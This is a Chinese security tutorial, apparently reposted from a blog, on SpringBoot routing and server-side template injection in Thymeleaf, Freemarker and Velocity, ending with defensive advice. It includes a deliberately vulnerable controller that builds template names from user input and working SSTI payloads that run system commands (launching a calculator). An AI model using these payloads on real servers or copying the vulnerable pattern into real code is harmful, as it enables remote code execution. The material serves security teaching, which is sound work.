第49天-SpringBoot开发与模板引擎安全风险

admin 2026-03-03 06:34:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了SpringBoot路由与传参基础,深入剖析Thymeleaf、Freemarker和Velocity三种模板引擎的使用方法及其潜在的安全风险。重点展示了服务端模板注入(SSTI)的漏洞成因与POC利用方式,并提出了更新版本、避免动态路径拼接、严格校验输入等安全防护建议,旨在帮助开发者构建安全的Web应用。 综合评分: 80 文章分类: 漏洞分析,WEB安全,应用安全,代码审计,安全建设


cover_image

第49天-SpringBoot开发与模板引擎安全风险

原创

萧瑶 萧瑶

AlphaNet

2026年2月24日 11:03 韩国

引言

在JavaEE开发中,SpringBoot以其简洁的配置和强大的生态成为构建Web应用的首选框架。而模板引擎(如Thymeleaf、Freemarker、Velocity)则负责将后端数据渲染为动态HTML页面。然而,当模板引擎使用不当时,可能引入严重的安全漏洞(如服务端模板注入SSTI)。本文将带你快速掌握SpringBoot的路由与传参基础,并深入剖析三大模板引擎的使用方法及其潜在风险。


一、SpringBoot基础:路由与传参

  1. 路由映射

SpringBoot通过注解定义HTTP路由:

· @RequestMapping:可定义任意方法(GET/POST/PUT等),支持路径、方法类型等属性。

· @GetMapping、@PostMapping等:简化写法,等价于@RequestMapping(method = RequestMethod.GET)。

示例:

@RestController

public class DemoController {

@GetMapping("/hello")

public String hello() {

return "Hello World";

}

}
  1. 参数传递

使用@RequestParam获取请求参数(URL中的query参数或表单数据):

@GetMapping("/user")

public String getUser(@RequestParam String name) {

return "User: " + name;

}

访问 /user?name=Tom 返回 User: Tom。

  1. 数据响应

· @Controller:返回视图名称(配合模板引擎)。

· @RestController:相当于@Controller+@ResponseBody,直接返回JSON/字符串,不进行视图解析。


二、模板引擎的使用与漏洞分析

  1. Thymeleaf

快速开始

步骤:

  1. 新建SpringBoot项目,勾选 Spring Web 和 Thymeleaf。

  2. 配置文件 application.properties 关闭缓存(开发环境):

spring.thymeleaf.cache=false
  1. 在 src/main/resources/templates 下创建HTML模板文件,如 index.html:
<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

<body>

<p th:text="${data}">默认内容</p>

</body>

</html>
  1. 创建Controller:
@Controller

public class IndexController {

@RequestMapping("/index")

public String index(Model model) {

model.addAttribute("data", "你好 小迪");

return "index"; // 对应 index.html

}

@RequestMapping("/indexs")

public String index(Model model, @RequestParam String lang) {

model.addAttribute("data", "Hello xiaodi");

return "index-" + lang; // 动态拼接模板名

}

}

漏洞示例(SSTI)

利用条件: 使用存在漏洞的Thymeleaf版本,且模板名或模板内容可控。

POC(命令执行):

\_\_$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d\_\_::.x

当访问 /indexs?lang=__${…}__::.x 时,若模板名被拼接并直接渲染,攻击者可注入表达式执行任意代码。

  1. Freemarker

快速开始

步骤:

  1. 新建SpringBoot项目,勾选 Spring Web 和 Freemarker。

  2. 关闭缓存:

spring.freemarker.cache=false
  1. 在 templates 目录下创建 .ftl 文件,如 index.ftl:
<html>

<body>

<h1>${data}</h1>

</body>

</html>
  1. Controller示例:
@Controller

public class FreemarkerController {

@RequestMapping("/freemarker")

public String freemarker(Model model, @RequestParam String content) {

model.addAttribute("data", content);

return "index"; // 渲染 index.ftl

}

}

漏洞示例

利用条件: 可控的模板内容或模板文件。

POC(多种利用方式):

<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}

<@value>import os;os.system("calc.exe")</@value>

若模板内容(如 content 参数)被直接嵌入模板渲染,攻击者可构造恶意模板代码执行系统命令。

  1. Velocity

快速开始

依赖:

<dependency>

<groupId>org.apache.velocity</groupId>

<artifactId>velocity</artifactId>

<version>1.7</version>

</dependency>

两种使用方式:

  1. Velocity.evaluate 直接渲染字符串模板。

  2. template.merge(ctx, out) 合并数据模型与模板文件。

漏洞示例

利用条件: Velocity版本存在漏洞,且模板变量或模板内容可控。

POC(命令执行):

%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

URL编码后传入参数,若服务端使用Velocity解析该字符串,将触发命令执行。


三、安全建议与总结

风险点回顾

· Thymeleaf:动态拼接模板名可能导致表达式注入。

· Freemarker:模板内容可控时可执行任意Java代码。

· Velocity:旧版本存在模板注入漏洞。

防护措施

  1. 及时更新版本:使用最新稳定版,修复已知漏洞。

  2. 避免动态模板路径:不要将用户输入直接拼接到模板名中。

  3. 严格校验输入:对用户输入进行过滤,禁止传入模板语法关键字。

  4. 禁用危险内置对象:如Freemarker可配置 templateExceptionHandler 限制危险指令。

  5. 最小权限原则:运行应用的账户不应拥有过高系统权限。

总结

SpringBoot与模板引擎的组合极大提升了开发效率,但安全意识不可松懈。理解底层渲染机制,关注安全公告,才能构建既高效又安全的Web应用。

参考资料

· SpringBoot官方文档:https://springdoc.cn/spring-boot/

· Thymeleaf漏洞分析:https://xz.aliyun.com/news/9962

· Freemarker安全研究:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

· Velocity漏洞示例:https://blog.csdn.net/2401_83799022/article/details/141600988


本文仅供技术学习与安全研究使用,请勿用于非法用途。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第49天-SpringBoot开发与模板引擎安全风险》

从某群友感染银狐病毒说起 网络安全文章

从某群友感染银狐病毒说起

文章总结: 文章以群友感染银狐病毒事件切入,分析了针对安全从业者的精准攻击与商业远控软件滥用问题,指出当前防御体系滞后。随后复盘刷单诈骗流程,揭示了黑产上下游分
评论:0   参与:  0